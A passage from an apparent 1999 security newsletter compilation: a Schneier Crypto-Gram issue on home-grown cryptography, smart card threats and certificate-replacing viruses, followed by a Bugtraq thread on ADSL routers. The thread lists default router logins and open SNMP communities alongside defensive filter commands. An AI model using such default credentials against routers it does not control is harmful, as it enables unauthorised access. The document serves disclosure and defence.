       
       Loranger said he conducted the demonstration to emphasize that hackers use
       information warfare attacks to do more than just cripple computers or
       steal information located on the network. The networks also can serve as
       real-time windows into the physical world outside the network.
       
       
       -o-
       Subscribe: mail majordomo@repsec.com with "subscribe isn".
       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
       
       @HWA          
       
 35.0  Cryptogram Newsletter
       ~~~~~~~~~~~~~~~~~~~~~
       
                        CRYPTO-GRAM
       
       
                       April 15, 1999
       
       
                     by Bruce Schneier
                         President
                    Counterpane Systems
                  schneier@counterpane.com
                 http://www.counterpane.com
       
       
       
       A free monthly newsletter providing summaries, analyses, insights, and
       commentaries on cryptography and computer security.
       
       
       Back issues are available at http://www.counterpane.com.  To subscribe or
       unsubscribe, see below.
       
       
       
       Copyright (c) 1999 by Bruce Schneier
       
       
       
       ** *** ***** ******* *********** *************
       
       
       In this issue:
            Cryptography: The Importance of Not Being Different
            News
            Counterpane Systems -- Featured Research
            Threats Against Smart Cards
            Attacking Certificates with Computer Viruses
            Counterpane Systems News
            Comments from Readers
       
       
       
       ** *** ***** ******* *********** *************
       
       
         Cryptography: The Importance of Not Being Different
       
       
       
       
       Suppose your doctor said, "I realize we have antibiotics that are good at
       treating your kind of infection without harmful side effects, and that
       there are decades of research to support this treatment.  But I'm going to
       give you tortilla-chip powder instead, because, uh, it might work."  You'd
       get a new doctor.
       
       
       Practicing medicine is difficult.  The profession doesn't rush to embrace
       new drugs; it takes years of testing before benefits can be proven, dosages
       established, and side effects cataloged.  A good doctor won't treat a
       bacterial infection with a medicine he just invented when proven
       antibiotics are available.  And a smart patient wants the same drug that
       cured the last person, not something different.
       
       
       Cryptography is difficult, too.  It combines mathematics, computer science,
       sometimes electrical engineering, and a twisted mindset that can figure out
       how to get around rules, break systems, and subvert the designers'
       intentions.  Even very smart, knowledgeable, experienced people invent bad
       cryptography.  In the crypto community, people aren't even all that
       embarrassed when their algorithms and protocols are broken.  That's how
       hard it is.
       
       
       Reusing Secure Components
       
       
       Building cryptography into products is hard, too.  Most cryptography
       products on the market are insecure.  Some don't work as advertised.  Some
       are obviously flawed.  Others are more subtly flawed.  Sometimes people
       discover the flaws quickly, while other times it takes years (usually
       because no one bothered to look for them).  Sometimes a decade goes by
       before someone invents new mathematics to break something.
       
       
       This difficulty is made even more serious for several reasons.  First,
       flaws can appear anywhere.  They can be in the trust model, the system
       design, the algorithms and protocols, the implementations, the source code,
       the human-computer interface, the procedures, the underlying computer
       system. Anywhere. 
       
       
       Second, these flaws cannot be found through normal beta testing.  Security
       has nothing to do with functionality.  A cryptography product can function
       normally and be completely insecure.  Flaws remain undiscovered until
       someone looks for them explicitly.
       
       
       Third, and most importantly, a single flaw breaks the security of the
       entire system.  If you think of cryptography as a chain, the system is only
       as secure as its weakest link.  This means that everything has to be
       secure.  It's not enough to make the algorithms and protocols perfect if
       the implementation has problems.  And a great product with a broken
       algorithm is useless.  And a great algorithm, protocol, and implementation
       can be ruined by a flawed random number generator.  And if there is a
       security flaw in the code, the rest of it doesn't matter.
       
       
       Given this harsh reality, the most rational design decision is to use as
       few links as possible, and as high a percentage of strong links as
       possible.  Since it is impractical for a system designer (or even a design
       team) to analyze a completely new system, a smart designer reuses
       components that are generally believed to be secure, and only invents new
       cryptography where absolutely necessary.
       
       
       Trusting the Known
       
       
       Consider IPSec, the Internet IP security protocol.  Beginning in 1992, it
       was designed in the open by committee and was the subject of considerable
       public scrutiny from the start.  Everyone knew it was an important protocol
       and people spent a lot of effort trying to get it right.  Security
       technologies were proposed, broken, and then modified.  Versions were
       codified and analyzed.  The first draft of the standard was published in
       1995.  Aspects were debated on security merits and on performance, ease of
       implementation, upgradability, and use.
       
       
       In November 1998, the committee published a pile of RFCs -- one in a series
       of steps to make IPSec an Internet standard.  And it is still being
       studied. Cryptographers at the Naval Research Laboratory recently
       discovered a minor implementation flaw.  The work continues, in public, by
       anyone and everyone who is interested.
       
       
       On the other hand, Microsoft developed its own Point-to-Point Tunneling
       Protocol (PPTP) to do much the same thing.  They invented their own
       authentication protocol, their own hash functions, and their own
       key-generation algorithm.  Every one of these items was badly flawed.  They
       used a known encryption algorithm, but they used it in such a way as to
       negate its security.  They made implementation mistakes that weakened the
       system even further.  But since they did all this work internally, no one
       knew that their PPTP was weak.
       
       
       Microsoft fielded PPTP in Windows NT and 95, and used it in their virtual
       private network (VPN) products.  It wasn't until summer of 1998 that
       Counterpane Systems published a paper describing the flaws we found.
       Microsoft quickly posted a series of fixes, which we have since evaluated
       and found wanting.  They don't fix things nearly as well as Microsoft would
       like people to believe.
       
       
       And then there is a company like TriStrata, which claimed to have a
       proprietary security solution without telling anyone how it works (because
       it's patent pending).  You have to trust them.  They claimed to have a new
       algorithm and new set of protocols that are much better than any that exist
       today.  And even if they make their system public, the fact that they've
       patented it and retain proprietary control means that many cryptographers
       won't bother analyzing their claims.
       
       
       Leveraging the Collective Strength
       
       
       You can choose any of these three systems to secure your virtual private
       network.  Although it's possible for any of them to be flawed, you want to
       minimize your risk.  If you go with IPSec, you have a much greater
       assurance that the algorithms and protocols are strong.  Of course, the
       product could still be flawed -- there could be an implementation bug or a
       bug in any of the odd little corners of the code not covered in the IPSec
       standards -- but at least you know that the algorithms and protocols have
       withstood a level of analysis and review that the Microsoft and TriStrata
       options have not.
       
       
       Choosing the TriStrata system is like going to a doctor who has no medical
       degree and whose novel treatments (which he refuses to explain) have no
       support by the AMA.  Sure, it's possible (although highly unlikely) that
       he's discovered a totally new branch of medicine, but do you want to be the
       guinea pig?
       
       
       The point here is that the best security methods leverage the collective
       analytical ability of the cryptographic community.  No single company
       (outside the military) has the financial resources necessary to evaluate a
       new cryptographic algorithm or shake the design flaws out of a complex
       protocol.  The same holds true in cryptographic libraries.  If you write
       your own, you will probably make mistakes.  If you use one that's public
       and has been around for a while, some of the mistakes will have been found
       and corrected.
       
       
       It's hard enough making strong cryptography work in a new system; it's just
       plain lunacy to use new cryptography when viable, long-studied alternatives
       exist.  Yet most security companies, and even otherwise smart and sensible
       people, exhibit acute neophilia and are easily blinded by shiny new pieces
       of cryptography.
       
       
       Following the Crowd
       
       
       At Counterpane Systems, we analyze dozens of products a year.  We review
       all sorts of cryptography, from new algorithms to new implementations.  We
       break the vast majority of proprietary systems and, with no exception, the
       best products are the ones that use existing cryptography as much as possible. 
       
       
       Not only are the conservative choices generally smarter, but they mean we
       can actually analyze the system.  We can review a simple cryptography
       product in a couple of days if it reuses existing algorithms and protocols,
       in a week or two if it uses newish protocols and existing algorithms.  If
       it uses new algorithms, a week is barely enough time to get started.
       
       
       This doesn't mean that everything new is lousy.  What it does mean is that
       everything new is suspect.  New cryptography belongs in academic papers,
       and then in demonstration systems.  If it is truly better, then eventually
       cryptographers will come to trust it.  And only then does it make sense to
       use it in real products.  This process can take five to ten years for an
       algorithm, less for protocols or source-code libraries.  Look at the length
       of time it is taking elliptic curve systems to be accepted, and even now
       they are only accepted when more trusted alternatives can't meet
       performance requirements.
       
       
       In cryptography, there is security in following the crowd.  A homegrown
       algorithm can't possibly be subjected to the hundreds of thousands of hours
       of cryptanalysis that DES and RSA have seen.  A company, or even an
       industry association, can't begin to mobilize the resources that have been
       brought to bear against the Kerberos authentication protocol, for example.
       No one can duplicate the confidence that PGP offers, after years of people
       going over the code, line by line, looking for implementation flaws.  By
       following the crowd, you can leverage the cryptanalytic expertise of the
       worldwide community, not just a few weeks of some analyst's time.
       
       
       And beware the doctor who says, "I invented and patented this totally new
       treatment that consists of tortilla-chip powder.  It has never been tried
       before, but I just know it is much better and I'm going to give it to you."
       There's a good reason we call new cryptography "snake oil."
       
       
       Acknowledgments
       
       
       Thanks to Matt Blaze for the analogy that opened this column.  This
       originally appeared in the March 1999 issue of IEEE Computer.
       
       
       
       ** *** ***** ******* *********** *************
       
       
                           News
       
       
       
       
       A new Pentagon study acknowledges that U.S. Defense Computers are highly
       vulnerable to attack.  Big surprise.
       http://abcnews.go.com/sections/tech/dailyNews/hackerspentagon990322.html
       
       
       The Security and Freedom through Encryption (SAFE) Act (H.R. 850) passed
       the House Judiciary Committee in late March.  It was a victory, since an
       amendment -- proposed by Rep. McCollum (R-Fl) -- that would mandate key
       escrow as a condition for export was blocked by Rep. Goodlatte (R-VA) on
       jurisdictional grounds.  Rep. Lofgren (D-CA), a co-author of the bill,
       compared the amendment to the Administration's failed Clipper Chip.  Things
       will get tougher for the bill in other committees; it now moves to the
       International Relations Committee, where an intense debate on the foreign
       availability of encryption products is expected.
       http://abcnews.go.com/sections/tech/CNET/cnet_cryptobill990324.html
       http://www.wired.com/news/news/politics/story/18708.html
       Background materials on the SAFE bill:
       http://www.cdt.org/crypto/legis_106/SAFE/
       Proposed McCollum Amendment:
       http://www.cdt.org/legislation/106th/encryption/McCollum.html
       CDT's testimony in support of SAFE:
       http://www.cdt.org/crypto/alantestimony.shtml
       
       
       The Wassenaar Arrangement is an attempt to enforce on other countries the
       same kinds of limits on strong cryptography that the U.S. has.  This only
       makes sense if the U.S. is the only source of strong cryptography.  But it
       isn't -- overseas security software is now just as good as work done by
       U.S. programmers.  And some of the signatories are taking advantage of the
       wiggle room to liberalize their policies.
       http://www.wired.com/news/news/politics/story/19018.html
       
       
       
       ** *** ***** ******* *********** *************
       
       
          Counterpane Systems -- Featured Research
       
       
       
       
       "The Solitaire Encryption Algorithm"
       
       
       Bruce Schneier, appendix to CRYPTONOMICON, by Neal Stephenson, Avon Books,
       1999.
       
       
       Computers have revolutionized the field of cryptography.  It is 
       relatively easy to design a computer algorithm that is secure against 
       adversaries with unimaginable computing power.  Less attention has been 
       paid to pencil and paper algorithms, suitable for people who don't have 
       access to a computer but still want to exchange secret messages.  Solitaire 
       is an OFB stream cipher that encrypts and decrypts using an ordinary deck 
       of playing cards. Even so, it is secure against computer cryptanalysis.
       
       
       http://www.counterpane.com/solitaire.html
       
       
       
       ** *** ***** ******* *********** *************
       
       
               Threats Against Smart Cards
       
       
       
       
       Smart cards are viewed by some as the "magic bullets" of computer security,
       multipurpose tools that can be used for access control, e-commerce,
       authentication, privacy protection and a variety of other applications.
       While the flexibility of smart cards makes them an attractive option for
       numerous business uses, it also multiplies the number of threats to their
       overall security.  To date, there has been little analysis of these
       wide-ranging security risks. 
       
       
       Because of the large number of parties involved in any smart card-based
       system, there are many classes of attacks to which smart cards are
       susceptible.  Most of these attacks are not possible in conventional,
       self-contained computer systems, since they would take place within a
       traditional computer's security boundary.  But in the smart card world, the
       following attacks all pose a legitimate threat. 
       
       
       Attacks by the Terminal Against the Cardholder or Data Owner
       
       
       These are the easiest attacks to understand.  When a cardholder puts his
       card into a terminal, he trusts the terminal to relay any input and output
       from the card accurately.  Prevention mechanisms in most smart card systems
       center around the fact that the terminal only has access to a card for a
       short period of time.  The real prevention mechanisms, though, have nothing
       to do with the smart card/terminal exchange; they are the back-end
       processing systems that monitor the cards and terminals and flag suspicious
       behavior. 
       
       
       Attacks by the Cardholder Against the Terminal
       
       
       More subtle are attacks by the cardholder against the terminal.  These
       involve fake or modified cards running rogue software with the intent of
       subverting the protocol between the card and the terminal.  Good protocol
       design mitigates the risk of these kinds of attacks.  The threat is further
       reduced when the card contains hard-to-forge physical characteristics
       (e.g., the hologram on a Visa card) that can be manually checked by the
       terminal owner. 
       
       
       Attacks by the Cardholder Against the Data Owner
       
       
       In many smart card-based commerce systems, data stored on a card must be
       protected from the cardholder.  In some cases, the cardholder is not
       allowed to know that data.  If the card is a stored-value card, and the
       user can change the value, he can effectively mint money.  There have been
       many successful attacks against the data inside a card, such as fault
       analysis, reverse-engineering, and side-channel attacks such as power and
       timing analysis.
       
       
       Attacks by the Cardholder Against the Issuer
       
       
       There are many financial attacks that appear to be targeting the issuer,
       but in fact are targeting the integrity and authenticity of data or
       programs stored on the card.  If card issuers choose to put bits that
       authorize use of the system in a card, they should not be surprised when
       those bits are attacked.  These systems rest on the questionable assumption
       that the security perimeter of a smart card is sufficient for their purposes.
       
       
       Attacks by the Cardholder Against the Software Manufacturer
       
       
       Generally, in systems where the card is issued to an assumed hostile user,
       the assumption is that the card will not have new software loaded onto it.
       The underlying assumption may be that the split between card owner and
       software owner is unassailable.  However, attackers have shown a remarkable
       ability to get the appropriate hardware sent to them, often gratis, to aid
       in launching an attack.
       
       
       Attacks by the Terminal Owner Against the Issuer 
       
       
       In some systems, the terminal owner and card issuer are different parties.
       This split introduces several new attack possibilities.  The terminal
       controls all communication between the card and card issuer, and can always
       falsify records or fail to complete one or more steps of a transaction in
       an attempt to facilitate fraud or create customer service difficulties for
       the issuer.
       
       
       Attacks by the Issuer Against the Cardholder
       
       
       In general, most systems presuppose that the card issuer has the best
       interests of the cardholder at heart.  But this is not necessarily the
       case.  These attacks are typically privacy invasions of one kind or
       another.  Smart card systems that serve as a substitute for cash must be
       designed very carefully to maintain the essential properties of cash money:
       anonymity and unlinkability. 
       
       
       Attacks by the Manufacturer Against the Data Owner
       
       
       Certain designs by manufacturers may have substantial and detrimental
       effects on the data owners in a system.  By providing an operating system
       that allows (or even encourages) multiple users to run programs on the same
       card, a number of new security issues are opened up, such as subversion of
       the operating system, intentionally poor random number generators or one
       application on a smart card subverting another application running on the
       same card.
       
       
       Securing smart-card systems means recognizing these attacks and designing
       them into a system.  In the best systems, it doesn't manner if (for
       example) the user can hack the card.  It's very Zen: work with the security
       model, not against it.
       
       
       Adam Shostack is director of technology at Netect Inc.
       Full paper: http://www.counterpane.com/smart-card-threats.html
       
       
       
       ** *** ***** ******* *********** *************
       
       
       Attacking Certificates with Computer Viruses
       
       
       
       
       How do you know an e-mail is authentic?  You verify the digital signature,
       of course.  This means that you verify that the message was correctly
       signed, using the sender's public key.  How do you know that the sender's
       (call her Alice) public key is valid?  You check the signature on *that*
       public key.
       
       
       What you're checking is called a certificate.  Someone else, call him Bob,
       signs Alice's public key and confirms that it is valid.  So you verify
       Bob's signature on Alice's certificate, so you can verify Alice's signature
       on her e-mail.
       
       
       Okay, how do you know that Bob's signature is valid?  Maybe Carol signs her
       key (creating another certificate).  That doesn't actually solve the
       problem; it just moves it up another layer.  Or maybe Bob also signed your
       key, so you know to trust him.  Or maybe Carol signed someone else's key
       who signed your key.  In the end, you have to trust someone.
       
       
       This notion of a certificate chain is one of the biggest problems with
       public-key cryptography, and one that isn't talked about very much.  PGP
       uses the notion of "trusted introducers"; Bob signs Alice's key because Bob
       knows Alice and is her friend.  You signed Bob's key for the same reason.
       So when Alice sends you an e-mail you can note that her public key is
       signed by Bob, and you trust Bob to introduce you to people.  (Much like
       Bob bringing Alice along to your party.)
       
       
       Other Internet protocols -- S/MIME, SSL, etc. -- take a more hierarchical
       approach.  You probably got your public key signed by a company like
       Verisign.  A Web site's SSL public key might have been signed by Netscape.
       Microsoft signs public keys used to sign pieces of ActiveX code you might
       download from the net.
       
       
       These so-called "root-level certificates" come hard-wired into your
       browser.  So when you try to establish an SSL connection with some Web
       site, that Web site sends you its public-key certificate.  You check to see
       if that certificate is signed (using the public key in your browser); if it
       is, you're happy.  The you-have-to-trust-someone public keys are the ones
       that come with your software.  You trust them implicitly, with no outside
       verification.
       
       
       So if you're a paranoid computer-security professional, the obvious
       question to ask is: can a rogue piece of software replace the root-level
       certificates in my browser and trick me into trusting someone?  Of course
       it can.
       
       
       It's even weirder than that.  Researchers Adi Shamir and Nico van Someren
       looked at writing programs that automatically search for public-key
       certificates and replace them with phony ones.  It turns out that the
       randomness characteristics of a public key make them stick out like sore
       thumbs, so they're easy to find.
       
       
       This attack isn't without problems.  If a virus replaces the root Netscape
       certificate with a phony one, it can trick you into believing a fake
       certificate is valid.  But that replacement certificate can't verify any
       real certificates, so you'll also believe that every real certificate is
       invalid.  (Hopefully, you'll notice this.)  But it works well with
       Microsoft's Authenticode.  Microsoft had the foresight to include two
       root-level Authenticode certificates, presumably for if one ever gets
       compromised.  But the software is designed to authenticate code if even one
       checks out.  So a virus can replace the Authenticode spare certificate.
       Now rogue software signed with this rogue certificate verifies as valid,
       and real software signed by valid Microsoft-approved companies still checks
       out as valid.
       
       
       This virus doesn't exist yet, but it could be written.
       
       
       An okay story on the topic:
       http://www.techweb.com/wire/story/TWB19990315S0001
       
       
       The actual research paper:
       http://www.ncipher.com/products/files/papers/anguilla/keyhide2.pdf
       
       
       
       ** *** ***** ******* *********** *************
       
       
                Counterpane Systems News
       
       
       
       
       John Wiley & Sons has published a book about the Twofish encryption
       algorithm.  The book contains all the information in the initial Twofish
       submission and the first three Twofish tech reports, expanded and
       corrected.  It lists for $50, but I am offering it at a 20% discount.
       http://www.counterpane.com/twofish-book.html
       
       
       CardTech/SecureTech '99.  Bruce Schneier will host and speak at the
       Cryptography Technology panel at CardTech/SecureTech, on Wednesday
       afternoon, May 14, in Chicago.
       http://www.ctst.com
       
       
       NetSec '99.  Bruce Schneier will give the keynote speech at NetSec '99, a
       computer security conference (June 14-16, in St. Louis).  Even though
       Bruce's talk will be at 8:00 in the morning on Tuesday, it will be
       interesting.  Schneier will also be speaking about securing legacy
       applications at 2:00 that afternoon.
       http://www.gocsi.com/conf.htm
       
       
       The Black Hat Briefings '99 is a Computer Security Conference scheduled for
       July 7 and 8 in Las Vegas, Nevada.  DefCon is a hackers convention held the
       weekend after.  Bruce Schneier will be speaking at both.
       http://www.blackhat.com/
       http://www.defcon.org/
       
       
       
       ** *** ***** ******* *********** *************
       
       
                   Comments from Readers
       
       
       
       
       From: Paul Shields <shields@passport.ca>
       Subject: Home-made Cryptographic Algorithms
       
       
       But it is not the "try to develop new algorithms" that is the danger so
       much as the belief that it is safe to deploy those algorithms; and since
       the designers are not always the decision makers, while the designer of an
       algorithm can see its academic learning-by-doing value, the decision maker
       can perhaps only see property to sell.  Sadly, those decision makers are
       business people who are not often well-acquainted with mathematical proofs,
       and instead focus on risk and profit.
       
       
       If no one ever tries to break it, the algorithm may not be secure; but if
       the fact is that even after limited deployment no competent person ever
       again tries to break it, then to the business mind that risk is covered.
       
       
       I have to admit that in my youth I wrote a crypto application that, while
       horribly insecure even to my untrained eyes, was unfortunately put into
       service by just such a decision maker.  The story goes that it was actually
       used to protect highly sensitive information and that it passed a committed
       attempt to break it; but this did not help me sleep at night.
       
       
       To convince them I think such people need really compelling stories of such
       systems that have fallen, at enormous cost to those who trusted them.
       
       
       
       From: George Stults <gstults@vixel.com> 
       Subject: Peer Review vs. Secrecy
       
       
       I was thinking about a point that you have made many times, namely that if
       you don't use a published, peer reviewed, and analysed cryptographic
       method, you are taking a big chance; it could be a good method, but the
       odds are against it.
       
       
       It occurs to me that there is another calculation you could make here.
       Namely that a well known and widely adopted method such as DES is worth a
       great deal more of effort to break.  Enough so that special purpose
       hardware becomes justifiable to break it, as in the recently publicized
       machine which broke (40 bit key?) DES.
       
       
       And the opposite would seem to be true of obscure methods.
       
       
       Any agency that must deal with a large volume of cryptographic material
       would surely prioritize its efforts.  An unknown method requiring extra
       time and effort to attack would seem less likely to get the required
       attention.  In effect, security by obscurity.  The writers of the UK
       security document (referenced in a previous issue) seemed to say as much.
       
       
       
       From: Dave Emery <die@die.com>
       Subject: Insecure Mobile Communications
       
       
       Some of us whose hobby is poking around the RF spectrum to explore what is
       out there have been trying to make this point about a number of widely used
       rf links for many many years.   Nice to see the issue hit something a bit
       more mainstream.
       
       
       Most of the MDTs used by police departments are not encrypted in any
       meaningful sense, all the complexity of their signal formats is there to
       provide error correction and detection and efficient use of the radio
       spectrum.   VHF and UHF rf links to moving vehicles are prone to both high
       error rates and bursts of errors (fades) and both MDT and pager protocols
       were designed to use very heavy (rate 1/2 or more) forward error correction
       and interleaving to help cope with this.  This and the synchronous
       transmission mode used to reduce overall bandwidth make MDT signals complex
       and non-standard by comparison with simple ASCII async start stop stuff.
       And some of the providers were silly enough to sell customers on the
       "security"  of their systems by trying to convince them that the error
       correcting, interleaved, randomized (scrambled, for better signal
       statistics, not security), signals were so complex that nobody would be
       able to figure them out.
       
       
       But if you think that police MDTs running in the open are somewhat
       shocking, you should also realize that virtually all pager traffic,
       including email sent via pager systems, is also completely unencrypted and
       transmitted using protocols designed for robustness in high error
       environments rather than security.  And software for monitoring pagers with
       a scanner has also been widely circulated around the net for several years.
       Included is the capability to target particular pagers or monitor
       everything on the channel and grep for interesting traffic.
       
       
       And the Mobitex protocol used by ARDIS and RAM mobile for wireless email is
       another example of something that is complex for error correction and
       robustness but has essentially no security.  And software for monitoring
       this circulates around the net as well.   ARDIS does use XORing with a 32
       bit constant of the day to provide some fig leaf of security, but obviously
       determining the constant is trivial...
       
       
       And this only scratches the surface of what can be found out in the ether
       and intercepted with relatively simple gear and some software ingenuity... 
       
       
       
       ** *** ***** ******* *********** *************
       
       
       CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
       insights, and commentaries on cryptography and computer security.
       
       
       To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
       blank message to crypto-gram-subscribe@chaparraltree.com.  To unsubscribe,
       visit http://www.counterpane.com/unsubform.html.  Back issues are available
       on http://www.counterpane.com.
       
       
       Please feel free to forward CRYPTO-GRAM to colleagues and friends who will
       find it valuable.  Permission is granted to reprint CRYPTO-GRAM, as long as
       it is reprinted in its entirety.
       
       
       CRYPTO-GRAM is written by Bruce Schneier.  Schneier is president of
       Counterpane Systems, the author of "Applied Cryptography," and an inventor
       of the Blowfish, Twofish, and Yarrow algorithms.  He served on the board of
       the International Association for Cryptologic Research, EPIC, and VTW.  He
       is a frequent writer and lecturer on cryptography.
       
       
       Counterpane Systems is a six-person consulting firm specializing in
       cryptography and computer security.  Counterpane provides expert consulting
       in: design and analysis, implementation and testing, threat modeling,
       product research and forecasting, classes and training, intellectual
       property, and export consulting.  Contracts range from short-term design
       evaluations and expert opinions to multi-year development efforts.
       http://www.counterpane.com/
       
       
       Copyright (c) 1999 by Bruce Schneier
       
       
       
       
       @HWA        
       
 36.0  default passwords on ADSL routers
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Approved-By: aleph1@UNDERGROUND.ORG 
       Message-ID: <19990414190206Z36800-18269+1298@brimstone.netspace.org> 
       Date:   Wed, 14 Apr 1999 19:01:35 +0000 
       Reply-To: Brad Zimmerman <exocet@EUROPA.COM> 
       Sender: Bugtraq List <BUGTRAQ@netspace.org> 
       From: Brad Zimmerman <exocet@EUROPA.COM> 
       Subject:      aDSL routers 
       To: BUGTRAQ@netspace.org 
       
       
       This is also true on USWest's Cisco 675.  Password is (hit the enter
       key)...  However, as far as I know, all ISP's using Cisco 675's are set
       into bridging mode, which doesn't allow any remote access to the Cisco
       675, save the serial cable.
       
       
       Older USWest equipment, the Netspeed 202 and 204, used a default user name
       (root) and a default password is (hit the Enter key)...
       
       
       For both routers, the Netspeed and Cisco, the default password/login is listed right in the manual, for anyone to see.
       
       
       In the future, I believe USWest intends to have customers set their Cisco
       675's into routing mode.  Or, at the very least, ISP's will begin supporting PPP over Ethernet, which means the Cisco routers are set into routing mode, which will make many thousand customers vulnerable due to unauthorized remote access.  I believe (but not sure) that Verio has the ability to let customers set their modems into routing mode (using PPP over Ethernet)...
       
       
       USWest *has* detailed changes to the Cisco 675, noting it's ability to do
       do PPP over Ethernet along with what is required at the ISP end to perform
       PPP over Ethernet.
       
       
       > Welp, aDSL is here.  And at least one manufacturer, flowpoint, sets no
       > admin password.  It's in the documentation, so I assume the
       > company already knows about this vulnerability:) System managers
       > who have aDSL access often overlook this, so I thought I'd point it out.
       > A quick fix: disable telnet access to all of your aDSL router IP's.
       > Better fix: set an admin password.
       
       
       
       Brad Zimmerman
       http://fubar.europa.com
       "Taking over the world, one computer at a time."
       
       Approved-By: aleph1@UNDERGROUND.ORG 
       Message-ID: <Pine.BSI.4.05L.9904141747540.13386-100000@mars.superlink.net> 
       Date:   Wed, 14 Apr 1999 18:01:07 -0400 
       Reply-To: Truman Boyes <truman@SUPERLINK.NET> 
       Sender: Bugtraq List <BUGTRAQ@netspace.org> 
       From: Truman Boyes <truman@SUPERLINK.NET> 
       Subject:      Re: aDSL routers 
       
       
       There are two levels of access on these units. Basic telnet access will
       provide limited commandset. These would leave the user with the ability to
       'ping', list system info, show processes, and list the routing table.
       There is another level which provides more options and rights is available
       only by logging into the unit with password from the command line
       interface.
       
       
       Like most routers on networks, access should be restricted with access
       control lists. You can set this by using 'system addTelnetFilter' and
       specifying an IP range.
       
       
       
       Version Tested:
       FlowPoint/2200 SDSL [ATM] Router
       FlowPoint-2000 BOOT/POST V4.0.2 (18-Mar-98 12:00)
       
       
       
       .truman.boyes.
       
       
       On Tue, 13 Apr 1999, David Brumley wrote:
       
       
       > Welp, aDSL is here.  And at least one manufacturer, flowpoint, sets no
       > admin password.  It's in the documentation, so I assume the
       > company already knows about this vulnerability:) System managers
       > who have aDSL access often overlook this, so I thought I'd point it out.
       > A quick fix: disable telnet access to all of your aDSL router IP's.
       > Better fix: set an admin password.
       >
       > Version tested:
       > FlowPoint/2000 ADSL Router
       > FlowPoint-2000 BOOT/POST V4.0.2 (18-Mar-98 12:00)
       > Software version v1.4.5 built Tue Aug 11 23:20:20 PDT 1998
       >
       > Cheers,
       > -db
       >
       
       Approved-By: aleph1@UNDERGROUND.ORG 
       References: <Pine.GSO.3.96.990413225150.1104A-100000@goju.Stanford.EDU> 
       Lines: 32 
       X-Mailer: Gnus v5.6.45/Emacs 20.3 
       Message-ID: <lfiuayq0bi.fsf@Samizdat.uucom.com> 
       Date:   Wed, 14 Apr 1999 18:55:29 -0400 
       Reply-To: Chris Shenton <cshenton@UUCOM.COM> 
       Sender: Bugtraq List <BUGTRAQ@netspace.org> 
       From: Chris Shenton <cshenton@UUCOM.COM> 
       Subject:      Re: aDSL routers 
       
       
       On Tue, 13 Apr 1999 23:01:50 -0700, David Brumley <dbrumley@GOJU.STANFORD.EDU> said:
       
       
       David> And at least one manufacturer, flowpoint, sets no admin
       David> password.  It's in the documentation, so I assume the company
       David> already knows about this vulnerability:) System managers who
       David> have aDSL access often overlook this, so I thought I'd point it
       David> out.  A quick fix: disable telnet access to all of your aDSL
       David> router IP's.  Better fix: set an admin password.
       
       
       I have a couple other concerns on my 2200 (firmware 3.0.2).
       
       
       My carrier, Covad, did set a password but it's too easy. You can
       restrict IP access to telnet like:
       
       
           system addTelnetFilter first.host.ip.addr [last.host.ip.addr]
       
       
       You should also do this for SNMP since it's available to the world
       with community "public":
       
       
           system addSNMPFilter first.host.ip.addr [last.host.ip.addr]
       
       
       I restrict these to my LAN.
       
       
       Have you tried an nmap scan on it?  It reports "trivial joke" for TCP
       sequence predictability.  Should allow bad guys to hijack sessions.
       Doubleplusungood. I've gotten no feedback from comp.dcom.xdsl or
       support@flowpoint.com.
       
       
       If anyone has clues to protect this I'd like to hear 'em but I fear
       it'll require new code and firmware from Flowpoint and they're not
       being responsive.
       
       Approved-By: aleph1@UNDERGROUND.ORG 
       Received: from flowpoint.com (flowpnt.flowpoint.com [209.31.4.42]) by 
                 netspace.org (8.8.7/8.8.7) with ESMTP id VAA28019 for 
                 <BUGTRAQ@NETSPACE.ORG>; Wed, 14 Apr 1999 21:13:28 -0400 
       Received: from localhost (pmr@localhost) by flowpoint.com (8.8.7/8.8.4) with 
                 SMTP id SAA29902; Wed, 14 Apr 1999 18:07:59 -0700 
       X-Sender: pmr@flowpnt 
       MIME-Version: 1.0 
       Content-Type: TEXT/PLAIN; charset=US-ASCII 
       Message-ID: <Pine.LNX.3.96.990414175052.28697B-100000@flowpnt> 
       Date:   Wed, 14 Apr 1999 18:07:59 -0700 
       Reply-To: Philip Rakity <pmr@flowpoint.com> 
       Sender: Bugtraq List <BUGTRAQ@netspace.org> 
       From: Philip Rakity <pmr@flowpoint.com> 
       Subject:      FlowPoint ADSL Reported Problem 
       X-To:         dbrumley@goju.stanford.edu 
       X-cc:         Dano Ybarra <dano@flowpoint.com>, 
                     Stewart Hulett <stu@flowpoint.com> 
       To: BUGTRAQ@netspace.org 
       In-Reply-To:  <01BE869B.D4D2F300.roger@flowpoint.com> 
       
       
       Recently there was a note in the bug list (below) indicating that
       FlowPoint Routers do not set an administration password.  This statement
       is false, but the vulnerability of the router to folks not changing the
       default router password is well known.
       
       
       Our GUI asks the user to change the password.
       
       
       Release 3.0.2 onwards requires the user to enter the password
       to access any information via the console or telnet.
       
       
       Access control to the router via telnet and snmp can be controlled via
       access lists using the command
       
       
       system addtelnetfilter <IP Addresses>
       system addsnmpfilter <IP Addresses>
       
       
       The SNMP Community name can be changed as well as the ports used to access
       Telnet and SNMP.  In addition, access to the router via SNMP and Telnet
       can be turned off.  The commands
       
       
       system telnetport <Port No>
       system snmpport <Port No>
       
       
       A <Port No> of 0 stops access to the router.
       
       
       In addition, an IP Filtering package similar to the Linux Firewall
       capability is available as an option.
       
       
       
       kind regards,
       
       
       Philip Rakity
       
       
       Vice President Product Development
       FlowPoint Corporation
       180 Knowles Drive
       Suite 100
       Los Gatos, CA 95030
       USA
       
       
       e-mail:    pmr@flowpoint.com
       phone:    +1 (408) 364-8300
          fax:    +1 (408) 364-8301
       
       
       >
       > -----Original Message-----
       > From: David Brumley [SMTP:dbrumley@GOJU.STANFORD.EDU]
       > Sent: Tuesday, April 13, 1999 11:02 PM
       > Subject:  aDSL routers
       >
       > Welp, aDSL is here.  And at least one manufacturer, flowpoint, sets no
       > admin password.  It's in the documentation, so I assume the
       > company already knows about this vulnerability:) System managers
       > who have aDSL access often overlook this, so I thought I'd point it out.
       > A quick fix: disable telnet access to all of your aDSL router IP's.
       > Better fix: set an admin password.
       >
       > Version tested:
       > FlowPoint/2000 ADSL Router
       > FlowPoint-2000 BOOT/POST V4.0.2 (18-Mar-98 12:00)
       > Software version v1.4.5 built Tue Aug 11 23:20:20 PDT 1998
       >
       > Cheers,
       > -db
       >
      
      
